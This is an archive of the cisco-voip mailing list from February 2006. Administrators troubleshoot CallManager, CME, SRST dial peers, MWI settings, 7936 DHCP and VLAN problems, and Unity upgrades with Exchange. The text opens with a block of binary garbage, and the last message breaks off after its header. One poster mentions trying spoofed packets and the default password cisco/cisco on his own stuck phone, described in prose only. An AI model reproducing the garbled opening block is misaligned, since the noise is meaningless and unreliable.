9ž©'é…—>°Ø‰ãÍM�UšºVÆë‹¨m¥à§sEawYôºS‡ð¦¨ÇÎõâÉdÝæ„e¸ÙT„§y’a}–»<ïñóõÒEP…~ÁÚõK\ð
qn[´è&B>Ia?×ì†d·áÆóFR|"Ì
à¿Í«FOŽ­jV†çå�eðÏÝ¾Úºh?ëðkíÍñÓÕ%»1�5¦šÎ„l§÷\®ô‰Lo¡©¦—Ô¡n‚Ùfü�ý(~\"‡MÖ,v
öúqý·ñ¶õFPÆGK¶æëWùµëôèÉòï$ótQ¹”c:u,¯k
_Ô~Ékz¿{$c‘‚m#
÷&ÁæàvSÊ¼¥ßÇåJsÄßÅß\‘7¾ûJšë XIÅ�
*Dó^ù’²$¤ý þ,”Á�7*ýu�ÔŸß�oX÷ù¬ o`ZîéE¥É£åMód\Fßï9Ùïgv©/;êð‡¹jIðöÈí Z½ô³õ“P\¸ù%kP™ÎçwŒï!Eùh½'¼CKåÖë:r#G8Xòb¿é;õ¨Â¿„î§µ[PP–¾!©
¯cÈR¡óAWÜHQ'ù}ËGœŽ6úèY‹®zºû^YM¯Åâ[NqhÔ|Üë¦yÏ­`‘sè­¾!S%i"Ë
Ú[“,žÈK¯¾Àuf
1–ôäÙR±¢êe¦çOyë"WIÂ»ü3…äù¬!,zðˆ:©Ÿ`�9Ž
·à˜Ô[tÛ’\ÛJ‹K¾Ò£'èíëÃqåÈ^¥Æù±›ÄÄ„o¯9`¿¿‚´åµ„ƒq7CÓ’:ÀZ
ÓGtˆ1h÷´÷¯–s,ÂjA¯ÞïÖüoZ[‹'J|ZâÜ®ÏÆ­.{Ð½òvb“¢ž,^¤y_¥A±Þªü7ž
æÃaùŒz/Iu³”·�#W!BWº¡øŒÈ®i$Ã3ohoãöbï(1mjÀ[m`†ìÜ
ÈøÛ'>üÞýLH~Ò7�¶·dÈ„¬vdÛ<úMcEÑkUÝ±¶Ë£´MÙ„æV´R'�/¦?ÁJÕ›F4…ÖcEt‹¢«6•½ä%å5y¿Œ6
®ÖèÒVÏ2qÎê�hÐeO–Ÿ>ße†öv°¤Ë$WM6÷ùá×f'Á²¨/)`©ÍØÒ¼æ¼Oœ‰eXIW§š°ÊŽµNïv¬3ày:ÈRy–f#ìhc6)nQÛ
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From akoul at dataways.gr  Mon Feb 20 07:44:29 2006
From: akoul at dataways.gr (Anthony Kouloglou)
Date: Mon Feb 20 07:44:56 2006
Subject: [cisco-voip] 7941G is supported by any version of CME?
Message-ID: <43F9B9AD.8090200@dataways.gr>

Hi all,
i have tried CME versions 3.3 and 3.4 with a 7941G phone. The phone gets 
registered at the Cisco router (2801 running 12.3(14)T6, 12.3.(8)T5, 
12.4.(4)T1) but it does not appear to get the configured Directory 
number. In the screen, it does write Cisco CME and the correct time but 
no DN.

P.S. i do not have any problems with the same configuration and a 7960 
or ATA phone.

Thanks,
Anthony Kouloglou

From Scott.Voll at wesd.org  Mon Feb 20 08:38:55 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Mon Feb 20 08:39:06 2006
Subject: Antwort: Re: [cisco-voip] Remotely rebooting Phone without
	usingCallmanager (in CM not connected, but can still ping/http)
Message-ID: <D713462ED535184D830F6F6301753E7E01BE160C@VISHNU.wesd.org>

Just a side note.... Unless you have reset the max call duration it will
terminate calls after 12 hours.  The only reason I know this is that the
call hung up on the TAC engineer after 12 hours on the phone.  Not 11
hours 59 minutes but exactly 12 hours.  (note it was a 22 hour TAC case
so it only did it once)  Enough time has went by that I can :-) now.

 

Scott

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Hans-Peter
Walter
Sent: Saturday, February 18, 2006 12:48 PM
To: Justin Steinberg
Cc: cisco-voip at puck.nether.net; mfa at crec.ifas.ufl.edu
Subject: Antwort: Re: [cisco-voip] Remotely rebooting Phone without
usingCallmanager (in CM not connected, but can still ping/http)

 


hi all, 
finally I gave up. 

- reboot-bug: 
we are running 7.2(3.0), but we tried everything, from small packets 
to big packets, different tcp options, reset, syn, ack 
spoofed packets from gateway to phone, from that phone to itself etc. 
==> no chance,  the only thing we killed was the ospf process on the
router because of heavy load ;-). 

- just ask somebody 
in europe it was friday evening at about 10 o'clock when I began, so
nobody was/is there, no maid, 
just nobody. 

- http://<phone ip>/CGI/Screenshot 
didn't work either, as I do not have the username/pw for that phone.
Tried things like cisco/cisco, hoping 
the phone reacts, but nothing... 

- on the streaming-page of the phone I can see a stream from the phone
to the gateway, still sending 
packets (counters increase), but no reply from the gateway (counters
doesn't increase). 

So I believe the phone still think it's an active call, but shouldn't it
be disconnected when the Ethernet 
goes down?? 

I opened this thread as the guy complained about the SRST not working
properly will come 
to the office on monday morning and see an active call since friday ;-)
(i know it's not really active, but.....). 
Thats why I wanted to know how to reboot that phone. Probably it's just
pressing the speaker-button to end the 
call, and the phone will reconnect ;-). 

thanks all for your time.... 






"Justin Steinberg" <jsteinberg at gmail.com> 

18.02.2006 18:36 

An

cisco-voip at puck.nether.net 

Kopie

mfa at crec.ifas.ufl.edu, Hans-Peter.Walter at tds.de 

Thema

Re: [cisco-voip] Remotely rebooting Phone without using Callmanager (in
CM not connected, but can still ping/http)

 

 

 




I'd be interested to see what's on the phone screen.  Try to get a
screenshot via:

http://<phone ip>/CGI/Screenshot

You'll be prompted for credentials for a DC directory user who is
associated with your phone's MAC.  Of course, if your phone can not
communicate with the authentication URL this won't work.

Or as Mike said, you could just ask the Maid what's on the phone screen.

Justin


> Date: Fri, 17 Feb 2006 20:26:28 -0500
> From: "Mike Armstrong" <mfa at crec.ifas.ufl.edu>
> Subject: Re: [cisco-voip] Remotely rebooting Phone without using
>         Callmanager     (in CM not connected, but can still ping/http)
> To: <cisco-voip at puck.nether.net>, <Hans-Peter.Walter at tds.de>
> Message-ID: <009901c6342a$58372e80$0402a8c0 at crec.ifas.ufl.edu>
> Content-Type: text/plain; format=flowed; charset="iso-8859-1";
>         reply-type=original
>
> Maybe I'm missing something, but PoE or not, the phone is getting
power from
> something, so somebody at the remote site should be able to unplug
whatever
> is supplying power.  Maid, security guard, whoever is there could be
talked
> through it.  (Unless it's the only phone there?)
>
> Mike Armstrong
> UF/ IFAS CREC
> Lake Alfred, FL
>
> > Message: 4
> > Date: Sat, 18 Feb 2006 01:38:00 +0100
> > From: Hans-Peter Walter <Hans-Peter.Walter at tds.de>
> > Subject: [cisco-voip] Remotely rebooting Phone without using
> > Callmanager (in CM not connected, but can still ping/http)
> > To: cisco-voip at puck.nether.net
> > Message-ID:
> >
<OF2FA8A131.E19A4887-ONC1257119.00025DE0-C1257119.000301A1 at de.tds-global
.com>
> >
> > Content-Type: text/plain; charset="us-ascii"
> >
> > hi,
> > we have a problem with a SRST-config at a remote site, so I played
around
> > and set a
> > line of a phone to "Auto Answer with speakerphone" and could hear
some
> > servers running in the background,
> > and did some testing. The SRST still doesn't work properly, but
thats
> > another story...
> >
> > Now the phone some how stucks. I can ping it, I can go to the phone
> > website http://<phone-ip>, but it
> > is *NOT* registered in Callmanager and not on the SRST-Router.
> > I denied access for that phone to the callmanager (hoped it would
try to
> > reboot) ==> no success
> > I rebooted the SRST-Router (default-gateway of the phone) ==> no
success
> > I shut down and enabled the switch-port where the phone is connected
==>
> > no success
> > I even rebooted the entire switch ;-) ==> no success
> > After all these actions I can still ping / http to the phone...
> >
> > I wish I had PoE there, because I think I just would need unplug
power....
> > soooo: Is there another way to reboot a phone *without* the
Callmanager,
> > maybe something hidden like http://<phine-ip>/admin or something?
> >
> > thanks and a nice weekend...
> > HP
>
>
>

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From Aaron.Derooy at xerox.com  Mon Feb 20 09:39:47 2006
From: Aaron.Derooy at xerox.com (DeRooy, Aaron H)
Date: Mon Feb 20 09:40:07 2006
Subject: [cisco-voip] IP-phone to IP-Phone activity
Message-ID: <E0EF33751DEA634DA817A51024A8E3F205C8A865@usa0300ms01.na.xerox.net>

Is there an equivalent command to "show call active voice" (used on a
voice g/w to see active calls) for calls that never leave the cluster? I
know I can use traces and CDR but these report after the fact.I'd like a
way to get a snapshot of active calls between IP phones.
Thanks

Aaron H. DeRooy 




From Scott.Voll at wesd.org  Mon Feb 20 09:47:58 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Mon Feb 20 09:49:13 2006
Subject: [cisco-voip] IP-phone to IP-Phone activity
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1612@VISHNU.wesd.org>

What about RTMT?

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of DeRooy, Aaron H
Sent: Monday, February 20, 2006 6:40 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] IP-phone to IP-Phone activity

Is there an equivalent command to "show call active voice" (used on a
voice g/w to see active calls) for calls that never leave the cluster? I
know I can use traces and CDR but these report after the fact.I'd like a
way to get a snapshot of active calls between IP phones.
Thanks

Aaron H. DeRooy 



_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From Scott.Voll at wesd.org  Mon Feb 20 10:09:31 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Mon Feb 20 10:09:38 2006
Subject: [cisco-voip] CM SSL cert.
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1615@VISHNU.wesd.org>

When I upgraded to CM 4.1.3 I setup the cert / or CM upgrade did,.and
the cert installed with the name of the CM (CMPUB) rather then the
domain name of CMPUB.domain.com.  Can I change that somehow?

 

TIA

 

Scott

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From Scott.Voll at wesd.org  Mon Feb 20 11:35:34 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Mon Feb 20 11:35:43 2006
Subject: [cisco-voip] Unity MWI on CM 4.1
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1618@VISHNU.wesd.org>

This is a newbee question, but since I really haven't had to deal with
it as the upgrade from 3.3 to 4.1 took care of it the question is:

 

Where do I set the CSS for the MWI ports?

 

I have to screw around with it now as I have made some CSS / Partitions
not excisable to the orginal CSS that is used as the default CSS for all
my phones.

 

Thanks

 

Scott

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From kthorngr at cisco.com  Mon Feb 20 12:11:55 2006
From: kthorngr at cisco.com (Kevin Thorngren)
Date: Mon Feb 20 12:11:44 2006
Subject: [cisco-voip] Unity MWI on CM 4.1
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE1618@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE1618@VISHNU.wesd.org>
Message-ID: <f65164e2c771dc4e3170604372fec6b8@cisco.com>

Not sure if your question was answered.....

Go to CCMAdmin > Feature > Voice Mail > Message Waiting.  From here you 
can select the CSS that the MWI on/off DNs use.

Kevin
On Feb 20, 2006, at 11:35 AM, Voll, Scott wrote:

> This is a newbee question, but since I really haven?t had to deal with 
> it as the upgrade from 3.3 to 4.1 took care of it the question is:
> ?
> Where do I set the CSS for the MWI ports?
> ?
> I have to screw around with it now as I have made some CSS / 
> Partitions not excisable to the orginal CSS that is used as the 
> default CSS for all my phones.
> ?
> Thanks
> ?
> Scott
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
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From Scott.Voll at wesd.org  Mon Feb 20 12:18:56 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Mon Feb 20 12:19:04 2006
Subject: [cisco-voip] Unity MWI on CM 4.1
Message-ID: <D713462ED535184D830F6F6301753E7E01BE161B@VISHNU.wesd.org>

Kevin-

 

So humbling, here I am trying to set the ports to a new CSS when it is
as easy as that.

 

You're Awesome!!

 

Scott

 

________________________________

From: Kevin Thorngren [mailto:kthorngr at cisco.com] 
Sent: Monday, February 20, 2006 9:12 AM
To: Voll, Scott
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Unity MWI on CM 4.1

 

Not sure if your question was answered..... 

 

Go to CCMAdmin > Feature > Voice Mail > Message Waiting. From here you
can select the CSS that the MWI on/off DNs use. 

 

Kevin 

On Feb 20, 2006, at 11:35 AM, Voll, Scott wrote: 

	 

	This is a newbee question, but since I really haven't had to
deal with it as the upgrade from 3.3 to 4.1 took care of it the question
is: 

	  

	Where do I set the CSS for the MWI ports? 

	  

	I have to screw around with it now as I have made some CSS /
Partitions not excisable to the orginal CSS that is used as the default
CSS for all my phones. 

	  

	Thanks 

	  

	Scott 

	_______________________________________________ 

	cisco-voip mailing list 

	cisco-voip at puck.nether.net 

	https://puck.nether.net/mailman/listinfo/cisco-voip 

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From kthorngr at cisco.com  Mon Feb 20 12:28:03 2006
From: kthorngr at cisco.com (Kevin Thorngren)
Date: Mon Feb 20 12:27:50 2006
Subject: [cisco-voip] Unity MWI on CM 4.1
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE161B@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE161B@VISHNU.wesd.org>
Message-ID: <59dc5e128586928dd07df65107a43b4c@cisco.com>

BTW, the change doesn't take affect unless you restart the CCM service 
or delete and re-add the numbers (I would recommend the latter :-).  
Notice the lack of a "Reset" button.

Kevin
On Feb 20, 2006, at 12:18 PM, Voll, Scott wrote:

> Kevin?
> ?
> So humbling, here I am trying to set the ports to a new CSS when it is 
> as easy as that.
> ?
> You?re Awesome!!
> ?
> Scott
> ?
>
> From: Kevin Thorngren [mailto:kthorngr at cisco.com]
> Sent: Monday, February 20, 2006 9:12 AM
> To: Voll, Scott
> Cc: cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] Unity MWI on CM 4.1
> ?
> Not sure if your question was answered.....
> ?
> Go to CCMAdmin > Feature > Voice Mail > Message Waiting. From here you 
> can select the CSS that the MWI on/off DNs use.
> ?
> Kevin
> On Feb 20, 2006, at 11:35 AM, Voll, Scott wrote:
>> ?
>> This is a newbee question, but since I really haven?t had to deal 
>> with it as the upgrade from 3.3 to 4.1 took care of it the question 
>> is:
>> ?
>> Where do I set the CSS for the MWI ports?
>> ?
>> I have to screw around with it now as I have made some CSS / 
>> Partitions not excisable to the orginal CSS that is used as the 
>> default CSS for all my phones.
>> ?
>> Thanks
>> ?
>> Scott
>> _______________________________________________
>> cisco-voip mailing list
>> cisco-voip at puck.nether.net
>> https://puck.nether.net/mailman/listinfo/cisco-voip
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From Scott.Voll at wesd.org  Mon Feb 20 12:29:43 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Mon Feb 20 12:29:52 2006
Subject: [cisco-voip] SRST question
Message-ID: <D713462ED535184D830F6F6301753E7E01BE161E@VISHNU.wesd.org>

If I have 4 FXO ports on a 2801 running 12.3(14)T5 that goes into SRST
(MGCP VGW) which port will it start dialing out on then which is next
etc.

 

Reason I ask is this VGW is in to different Telco areas.  And the worst
part is that calls from one telco to the other are long distance.  So I
don't want to get into an issue of dialing a number in SRST and the
operator saying you don't have to dial 1 then try again for it to say
you must dial 1.  You get the basic idea.  I really don't want to try
and setup ~150 dial peers to fix the issue.  Is the easiest fix to just
remove any desination-patterns off the two ports that go to one telco?

 

Any thoughts?

 

Scott

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From plong at metreos.com  Mon Feb 20 12:42:23 2006
From: plong at metreos.com (Paul Long)
Date: Mon Feb 20 12:42:31 2006
Subject: [cisco-voip] CallManagers: 3 + 1 = 5?
Message-ID: <6EE053013F00084096AF0F02CFDB88B8524F5B@securemail.metreos.com>

One can define three CallManager subscribers and one SRST in a
CallManager group, yet an IP Phone lists as many as five CallManagers.
Why is there a difference? Where does the other CallManager come from?

 

Paul

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From kthorngr at cisco.com  Mon Feb 20 14:45:39 2006
From: kthorngr at cisco.com (Kevin Thorngren)
Date: Mon Feb 20 14:46:15 2006
Subject: [cisco-voip] SRST question
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE161E@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE161E@VISHNU.wesd.org>
Message-ID: <48b445446748b0e58e6f8c72d8a7fa2f@cisco.com>

If I am reading your question correctly you could do something like 
this:

For 10 digit local dialing you can use this dial peer to use the local 
provider FXO port, assuming it is 1/0/0
dial-peer voice 5 pots
  destination-pattern 9[2-9]..[2-9]......
  port 1/0/0


Then if that call fails you can have the call use the long distance 
provider on port 1/0/1 by setting the preference to 1
dial-peer voice 6 pots
  destination-pattern 9[2-9]..[2-9]......
  preference 1
  port 1/0/1
  prefix 1


A preference value of 0 is the default and is the highest priority.  If 
more than one dial peer has the same preference then you will see some 
form of round robin between the dial peers that have the same 
destination pattern.  Otherwise the call will be extended to the 
highest priority (preference of 0) first then if the call is busy the 
GW will try the ext highest priority (preference of 1).  You will also 
want to prefix a 1 for the outbound calls using the long distance 
provider.

Or, you could simply just remove dial peer 6 and only have the local 
calls use the local provider.

HTH,
Kevin

On Feb 20, 2006, at 12:29 PM, Voll, Scott wrote:

> If I have 4 FXO ports on a 2801 running 12.3(14)T5 that goes into SRST 
> (MGCP VGW) which port will it start dialing out on then which is next 
> etc.
> ?
> Reason I ask is this VGW is in to different Telco areas.? And the 
> worst part is that calls from one telco to the other are long 
> distance.? So I don?t want to get into an issue of dialing a number in 
> SRST and the operator saying you don?t have to dial 1 then try again 
> for it to say you must dial 1.? You get the basic idea.? I really 
> don?t want to try and setup ~150 dial peers to fix the issue.? Is the 
> easiest fix to just remove any desination-patterns off the two ports 
> that go to one telco?
> ?
> Any thoughts?
> ?
> Scott
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
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From Scott.Voll at wesd.org  Mon Feb 20 15:23:34 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Mon Feb 20 15:23:43 2006
Subject: [cisco-voip] IPCC desktop administartor 6.1
Message-ID: <D713462ED535184D830F6F6301753E7E01BE163B@VISHNU.wesd.org>

I'm running IPCCx 4.0.1sr1build 55.  on the destop admin ver 6.1 under
team agent, the arrows are grayed out as well as the apply button.  Any
idea if this is a bug or something easy to fix?

 

Scott

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From bcarter at sentinel.com  Mon Feb 20 15:31:10 2006
From: bcarter at sentinel.com (Carter, Bill)
Date: Mon Feb 20 15:31:24 2006
Subject: [cisco-voip] Direction of Cisco IPT Network Management
Message-ID: <6A0744639B86DD459433108DBF101D26E16B26@MAIL01.sentinel.com>

What is the recommended Cisco products for management of a Cisco
CallManager/Unity/IPCC Express implementation.

CiscoWorks ITEM is EOL.  I see CiscoWorks IP Communications Operations
Manager, Service Monititor, and Voice Manager.  Then there is the Voice
Provisioning Tool.


From Scott.Voll at wesd.org  Mon Feb 20 15:52:40 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Mon Feb 20 15:52:49 2006
Subject: [cisco-voip] Direction of Cisco IPT Network Management
Message-ID: <D713462ED535184D830F6F6301753E7E01BE163C@VISHNU.wesd.org>

At CIPTUG Cisco was pushing the new IP Communications Operations manager
with the sensors.

Scott

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Carter, Bill
Sent: Monday, February 20, 2006 12:31 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Direction of Cisco IPT Network Management

What is the recommended Cisco products for management of a Cisco
CallManager/Unity/IPCC Express implementation.

CiscoWorks ITEM is EOL.  I see CiscoWorks IP Communications Operations
Manager, Service Monititor, and Voice Manager.  Then there is the Voice
Provisioning Tool.

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From voipermike at gmail.com  Mon Feb 20 16:08:24 2006
From: voipermike at gmail.com (Mike Mike)
Date: Mon Feb 20 16:08:27 2006
Subject: [cisco-voip] 7936 DHCP issue
Message-ID: <8bbfc1f40602201308x1f224394r878602afaaa26d0b@mail.gmail.com>

Conference phone gets plugged into a port on the first voice vlan and gets
an IP from the DHCP pool no problem. Customer moves to another switchport
(same switch) configured on one of the other voice vlans and it takes
several hours to pull a new IP. Customer is using a different voice vlan for
each of three floors. The 7936 has the latest firmware but also experienced
the problem on previous version. Also, a new conf phone has been tried with
same results. Moving 7940's and 7960's between floors works just fine. Last
test was to create reservations in each pool but apparently that didn't
work. Anyone else seen this behavior with the 7936?

Thanks
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From Scott.Voll at wesd.org  Mon Feb 20 16:32:29 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Mon Feb 20 16:32:38 2006
Subject: [cisco-voip] 7936 DHCP issue
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1640@VISHNU.wesd.org>

Sounds like a possible DNS issue.  I had a problem were I have a PIX and
the Voice vlan could NOT get to the DNS server and it did the same kind
of idea.  

 

Scott

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Mike Mike
Sent: Monday, February 20, 2006 1:08 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] 7936 DHCP issue

 

Conference phone gets plugged into a port on the first voice vlan and
gets an IP from the DHCP pool no problem. Customer moves to another
switchport (same switch) configured on one of the other voice vlans and
it takes several hours to pull a new IP. Customer is using a different
voice vlan for each of three floors. The 7936 has the latest firmware
but also experienced the problem on previous version. Also, a new conf
phone has been tried with same results. Moving 7940's and 7960's between
floors works just fine. Last test was to create reservations in each
pool but apparently that didn't work. Anyone else seen this behavior
with the 7936? 

Thanks

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From jonvoip at gmail.com  Mon Feb 20 17:42:10 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Mon Feb 20 17:42:15 2006
Subject: [cisco-voip] 7936 DHCP issue
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE1640@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE1640@VISHNU.wesd.org>
Message-ID: <5d093f9a0602201442x4c189e1cje9348532d3d402fd@mail.gmail.com>

We have had this problem dozens of times.

Here's the problem, the 7935/36 are made by Polycom, not Cisco and they have
serious trouble with getting VLAN info via CDP.

Solution?

Nail the port down into the voice vlan.

switchport access vlan 100 (or whatever your voice vlan is)

And the phone will come up with an IP on the right vlan.



Jonathan

On 2/20/06, Voll, Scott <Scott.Voll at wesd.org> wrote:
>
>  Sounds like a possible DNS issue.  I had a problem were I have a PIX and
> the Voice vlan could NOT get to the DNS server and it did the same kind of
> idea.
>
>
>
> Scott
>
>
>  ------------------------------
>
> *From:* cisco-voip-bounces at puck.nether.net [mailto:
> cisco-voip-bounces at puck.nether.net] *On Behalf Of *Mike Mike
> *Sent:* Monday, February 20, 2006 1:08 PM
> *To:* cisco-voip at puck.nether.net
> *Subject:* [cisco-voip] 7936 DHCP issue
>
>
>
> Conference phone gets plugged into a port on the first voice vlan and gets
> an IP from the DHCP pool no problem. Customer moves to another switchport
> (same switch) configured on one of the other voice vlans and it takes
> several hours to pull a new IP. Customer is using a different voice vlan for
> each of three floors. The 7936 has the latest firmware but also experienced
> the problem on previous version. Also, a new conf phone has been tried with
> same results. Moving 7940's and 7960's between floors works just fine. Last
> test was to create reservations in each pool but apparently that didn't
> work. Anyone else seen this behavior with the 7936?
>
> Thanks
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
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From jonvoip at gmail.com  Mon Feb 20 17:43:44 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Mon Feb 20 17:43:47 2006
Subject: [cisco-voip] SRST question
In-Reply-To: <48b445446748b0e58e6f8c72d8a7fa2f@cisco.com>
References: <D713462ED535184D830F6F6301753E7E01BE161E@VISHNU.wesd.org>
	<48b445446748b0e58e6f8c72d8a7fa2f@cisco.com>
Message-ID: <5d093f9a0602201443g61743862nb5f999cc0929cec6@mail.gmail.com>

Me, personally, I am too lazy to create dozens of dial-peers.

So, here's what you do.

Tie all of your outbound FXOs into a trunk-group and then refer to the
trunk-group on the outgoing dial-peers.

You can also change the hunt method on the trunk-group.



Jonathan

On 2/20/06, Kevin Thorngren <kthorngr at cisco.com> wrote:
>
> If I am reading your question correctly you could do something like
> this:
>
> For 10 digit local dialing you can use this dial peer to use the local
> provider FXO port, assuming it is 1/0/0
> dial-peer voice 5 pots
>   destination-pattern 9[2-9]..[2-9]......
>   port 1/0/0
>
>
> Then if that call fails you can have the call use the long distance
> provider on port 1/0/1 by setting the preference to 1
> dial-peer voice 6 pots
>   destination-pattern 9[2-9]..[2-9]......
>   preference 1
>   port 1/0/1
>   prefix 1
>
>
> A preference value of 0 is the default and is the highest priority.  If
> more than one dial peer has the same preference then you will see some
> form of round robin between the dial peers that have the same
> destination pattern.  Otherwise the call will be extended to the
> highest priority (preference of 0) first then if the call is busy the
> GW will try the ext highest priority (preference of 1).  You will also
> want to prefix a 1 for the outbound calls using the long distance
> provider.
>
> Or, you could simply just remove dial peer 6 and only have the local
> calls use the local provider.
>
> HTH,
> Kevin
>
> On Feb 20, 2006, at 12:29 PM, Voll, Scott wrote:
>
> > If I have 4 FXO ports on a 2801 running 12.3(14)T5 that goes into SRST
> > (MGCP VGW) which port will it start dialing out on then which is next
> > etc.
> >
> > Reason I ask is this VGW is in to different Telco areas. And the
> > worst part is that calls from one telco to the other are long
> > distance. So I don't want to get into an issue of dialing a number in
> > SRST and the operator saying you don't have to dial 1 then try again
> > for it to say you must dial 1. You get the basic idea. I really
> > don't want to try and setup ~150 dial peers to fix the issue. Is the
> > easiest fix to just remove any desination-patterns off the two ports
> > that go to one telco?
> >
> > Any thoughts?
> >
> > Scott
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> > https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
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From adam.blomfield at gmail.com  Mon Feb 20 18:08:30 2006
From: adam.blomfield at gmail.com (Adam Blomfield)
Date: Mon Feb 20 18:08:33 2006
Subject: [cisco-voip] Exchange Service Packs
Message-ID: <c6f32ce40602201508t195828a9ke57e158545a85197@mail.gmail.com>

I am currently running Cisco Unity 4.0 Build 4.0(3) SR 1 in unified
messaging mode connected to an Exchange 2003 infrastructure. The
Exchange servers are currently running Windows 2003 without any
service packs and Exchange 2003 without any service packs. I would
like to upgrade to Windows 2003 SP1 and Exchange 2003 SP2. Is this an
acceptable thing to do with Unity? Are there any caveats or work
arounds that I should be aware of? I tried searching on CCO, but
couldn't find a definitive answer... however their search engine and I
frequently don't get along!

Thanks,
Adam


From jonvoip at gmail.com  Mon Feb 20 18:37:38 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Mon Feb 20 18:37:45 2006
Subject: [cisco-voip] 7936 DHCP issue
In-Reply-To: <5d093f9a0602201442x4c189e1cje9348532d3d402fd@mail.gmail.com>
References: <D713462ED535184D830F6F6301753E7E01BE1640@VISHNU.wesd.org>
	<5d093f9a0602201442x4c189e1cje9348532d3d402fd@mail.gmail.com>
Message-ID: <5d093f9a0602201537p6eb21c17w2178820103fcaaf3@mail.gmail.com>

OK.

Are there other phones on this switch?

Is the switch running layer 3?

Is there an ip helper address going to the voice dhcp server?



J

On 2/20/06, Jonathan Charles <jonvoip at gmail.com> wrote:
>
> We have had this problem dozens of times.
>
> Here's the problem, the 7935/36 are made by Polycom, not Cisco and they
> have serious trouble with getting VLAN info via CDP.
>
> Solution?
>
> Nail the port down into the voice vlan.
>
> switchport access vlan 100 (or whatever your voice vlan is)
>
> And the phone will come up with an IP on the right vlan.
>
>
>
> Jonathan
>
> On 2/20/06, Voll, Scott <Scott.Voll at wesd.org> wrote:
>
> >  Sounds like a possible DNS issue.  I had a problem were I have a PIX
> > and the Voice vlan could NOT get to the DNS server and it did the same kind
> > of idea.
> >
> >
> >
> > Scott
> >
> >
> >  ------------------------------
> >
> > *From:* cisco-voip-bounces at puck.nether.net [mailto:cisco-voip-bounces at puck.nether.net]
> > *On Behalf Of *Mike Mike
> > *Sent:* Monday, February 20, 2006 1:08 PM
> > *To:* cisco-voip at puck.nether.net
> > *Subject:* [cisco-voip] 7936 DHCP issue
> >
> >
> >
> > Conference phone gets plugged into a port on the first voice vlan and
> > gets an IP from the DHCP pool no problem. Customer moves to another
> > switchport (same switch) configured on one of the other voice vlans and it
> > takes several hours to pull a new IP. Customer is using a different voice
> > vlan for each of three floors. The 7936 has the latest firmware but also
> > experienced the problem on previous version. Also, a new conf phone has been
> > tried with same results. Moving 7940's and 7960's between floors works just
> > fine. Last test was to create reservations in each pool but apparently that
> > didn't work. Anyone else seen this behavior with the 7936?
> >
> > Thanks
> >
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> >
> >
> >
>
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From jonvoip at gmail.com  Mon Feb 20 19:07:08 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Mon Feb 20 19:07:20 2006
Subject: [cisco-voip] CallManagers: 3 + 1 = 5?
In-Reply-To: <6EE053013F00084096AF0F02CFDB88B8524F5B@securemail.metreos.com>
References: <6EE053013F00084096AF0F02CFDB88B8524F5B@securemail.metreos.com>
Message-ID: <5d093f9a0602201607m5415a8d6if42d63c700f7a028@mail.gmail.com>

Reserved for future use.

Sure, that will work, why not.



Jonathan

On 2/20/06, Paul Long <plong at metreos.com> wrote:
>
>  One can define three CallManager subscribers and one SRST in a
> CallManager group, yet an IP Phone lists as many as five CallManagers. Why
> is there a difference? Where does the other CallManager come from?
>
>
>
> Paul
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
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From erickbe at yahoo.com  Mon Feb 20 19:31:59 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Mon Feb 20 19:32:08 2006
Subject: [cisco-voip] 7936 DHCP issue
